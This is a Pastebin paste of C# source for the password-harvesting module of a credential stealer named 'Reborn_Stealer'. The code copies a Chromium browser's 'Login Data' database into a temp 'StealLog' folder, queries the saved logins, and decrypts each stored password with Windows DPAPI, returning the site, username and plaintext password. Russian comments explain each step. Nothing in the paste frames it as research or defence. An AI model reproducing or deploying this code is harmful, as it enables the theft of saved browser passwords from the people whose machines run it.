Guest User

Passwords

a guest
Apr 14th, 2019
1,244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.90 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Text;
  6. using System.Threading.Tasks;
  7.  
  8. namespace Reborn_Stealer
  9. {
  10. class Passwords
  11. {
  12. static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
  13. {
  14. if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data")) // Если файл по данному пути существует, то удаляем его
  15. {
  16. File.Delete(Path.GetTempPath() + @"StealLog\Login Data");
  17. }
  18. File.Copy(dbPath, Path.GetTempPath() + @"StealLog\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер
  19. dbPath = Path.GetTempPath() + @"StealLog\Login Data";
  20. var connectionString = "Data Source=" + dbPath + ";pooling=false";
  21. using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
  22. using (var cmd = conn.CreateCommand())
  23. {
  24.  
  25.  
  26. cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
  27.  
  28. conn.Open();
  29. using (var reader = cmd.ExecuteReader())
  30. {
  31. while (reader.Read())
  32. {
  33. var encryptedData = (byte[])reader[0];
  34.  
  35. var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
  36. var plainText = Encoding.ASCII.GetString(decodedData);
  37.  
  38. yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);
  39.  
  40. }
  41.  
  42. }
  43. conn.Close();
  44. }
  45. }
  46. }
  47. }
Add Comment
Please, Sign In to add comment